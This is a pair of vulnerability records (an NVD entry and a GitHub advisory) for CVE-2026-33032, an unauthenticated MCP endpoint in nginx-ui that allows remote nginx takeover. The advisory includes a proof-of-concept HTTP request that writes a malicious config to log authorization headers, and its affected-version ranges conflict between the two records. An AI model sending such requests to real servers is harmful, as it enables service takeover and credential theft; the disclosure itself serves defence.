{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "DAD68C0D-27F9-48C7-8D1A-05EF5E2F7F7B",
              "versionEndIncluding": "2.3.5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches."
    },
    {
      "lang": "es",
      "value": "Nginx UI es una interfaz de usuario web para el servidor web Nginx. En las versiones 2.3.5 y anteriores, la integraci\u00f3n MCP (Model Context Protocol) de nginx-ui expone dos puntos finales HTTP: /mcp y /mcp_message. Mientras que /mcp requiere tanto la lista blanca de IP como la autenticaci\u00f3n (middleware AuthRequired()), el punto final /mcp_message solo aplica la lista blanca de IP, y la lista blanca de IP predeterminada est\u00e1 vac\u00eda, lo que el middleware trata como \u0027permitir todo\u0027. Esto significa que cualquier atacante de red puede invocar todas las herramientas MCP sin autenticaci\u00f3n, incluyendo reiniciar nginx, crear/modificar/eliminar archivos de configuraci\u00f3n de nginx y activar recargas autom\u00e1ticas de configuraci\u00f3n, logrando una toma de control completa del servicio nginx. En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente."
    }
  ],
  "id": "CVE-2026-33032",
  "lastModified": "2026-04-01T18:19:13.610",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-30T18:16:19.410",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:43:13Z",
    "nvd_published_at": "2026-03-30T18:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = \u0026Auth{\n    BanThresholdMinutes: 10,\n    MaxAttempts:         10,\n    // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n    c.Next()\n    return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload)                 // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"evil.conf\",\n      \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"sync_node_ids\": []\n    }\n  },\n  \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n    func(c *gin.Context) {\n        mcp.ServeHTTP(c)\n    })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.",
  "id": "GHSA-h6c2-x2m2-mwhf",
  "modified": "2026-03-30T21:26:24Z",
  "published": "2026-03-30T16:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33032"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nginx-ui\u0027s Unauthenticated MCP Endpoint Allows Remote Nginx Takeover"
}